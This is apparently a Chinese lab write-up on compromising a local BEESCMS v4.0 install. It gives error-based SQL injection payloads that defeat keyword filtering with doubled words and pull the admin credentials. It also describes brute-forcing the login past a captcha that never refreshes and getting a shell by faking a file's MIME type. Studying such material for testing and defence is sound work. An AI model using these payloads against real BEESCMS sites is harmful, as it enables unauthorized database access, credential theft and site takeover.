beescms注入

简介: 通过 SQL 注入、弱口令爆破和文件上传三种方式对系统进行安全测试的过程。首先,通过手动注入和报错注入获取数据库信息,接着利用弱口令爆破工具尝试登录,最后通过修改 MIME 类型绕过文件上传限制,成功获取 shell。

前期准备

靶机名称or源码名称:BEES_V4.0_R_20160525.rar

官方下载地址:http://beescms.com/cxxz.html

(一) 环境搭建:

#解压源码文件到网站根目录

#访问源码文件install完成按照提示完成安装

#修改mysql.ini 文件,在mysqld 下添加条目: secure_file_priv =,保存然后重启phpstudy,不然用mysql写入文件会报错。

一、预备知识:

枚举法(俗称暴力破解):

在 进行归纳推理时,如果逐个考察了某类事件的所有可能情况,因而得出一般结论,那么这结论是可靠的,这种归纳方法叫做枚举法。枚举法是利用计算机运算速度 快、精确度高的特点,对要解决问题的所有可能情况,一个不漏地进行检验,从中找出符合要求的答案,因此枚举法是通过牺牲时间来换取答案的全面性。

在数学和计算机科学理论中,一个集的枚举是列出某些有穷序列集的所有成员的程序,或者是一种特定类型对象的计数。这两种类型经常(但不总是)重叠。

SQL注入:

SQL 注入即是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句, 在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

二、实验步骤

扫描发现登录地址

(一) SQL注入

登录页面SQL注入漏洞,我们就不用sqlmap了手注

 经过测试发现一些常用的sql注入危险函数被过滤使用复写绕过

常用的一些函数双写绕过写法

1

and

an and d

2

select

seleselectct

3

from

fro from m

4

where

wh where ere

5

=

like

因为注入点在登录界面看不到回显,所以使用报错注入

admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)--+

查询到当前用户为root

查询表明发现字符应该是被限制了,使用substr截取

user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e),1)--+

user=admin' a and nd updatexml(1,concat(0x7e,(substr((selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),32,64)),0x7e),1)--+

user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(column_name) fr from om information_schema.columns whe where re table_schema like database()),1,32),0x7e),1)--+&password=123456&code=a9c5&submit=true&submit.x=57&submit.y=23

user=admin'a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om beescms.bees_admin),0x7e),1)--+

user=admin'a and nd updatexml(1,concat(0x7e,substr((selselectect group_concat(admin_password) fr from om beescms.bees_admin),7,32),0x7e),1)--+

拼接后密码MD5值为

21232f297a57a5a743894a0e4a801fc3

解密的结果为

(二) 弱口令爆破

这里的验证码在不刷新页面的情况下,是可以无限尝试登录的,所以我们可以对密码进行爆破  

添加payload

添加字典

admin length不同很有可能是密码

(三) 文件上传

网站有文件上传点

修改mime类型即可绕过

成功getshel



相关文章
|
7月前
|
XML 安全 数据库
24、显错注入(updatexml和extractvalue)
24、显错注入(updatexml和extractvalue)
54 0
|
7月前
|
Java 开发者 Spring
Spring中获取Bean对象的三种注入方式和两种注入方法
Spring中获取Bean对象的三种注入方式和两种注入方法
|
16天前
|
SQL 关系型数据库 MySQL
注入
【11月更文挑战第17天】
22 4
|
7月前
|
数据库
报错注入
报错注入
36 1
|
7月前
|
数据库
13、报错注入(Get)
13、报错注入(Get)
32 0
|
容器
什么是依赖注入?有哪些注入方式?
什么是依赖注入?有哪些注入方式?
154 0
|
Java Spring
2021-08-09构造方法注入,项目搭建,通过注释注入,注解扫描器,spring,ioc结束,AOP(一)
2021-08-09构造方法注入,项目搭建,通过注释注入,注解扫描器,spring,ioc结束,AOP
191 0
|
Java Spring
2021-08-09构造方法注入,项目搭建,通过注释注入,注解扫描器,spring,ioc结束,AOP(二)
2021-08-09构造方法注入,项目搭建,通过注释注入,注解扫描器,spring,ioc结束,AOP
192 0
|
XML Java 数据格式
SpringXML实现注入
SpringXML实现注入
SpringXML实现注入
|
Java Spring
构造方法注入和设值注入有什么区别?
构造方法注入和设值注入有什么区别?
构造方法注入和设值注入有什么区别?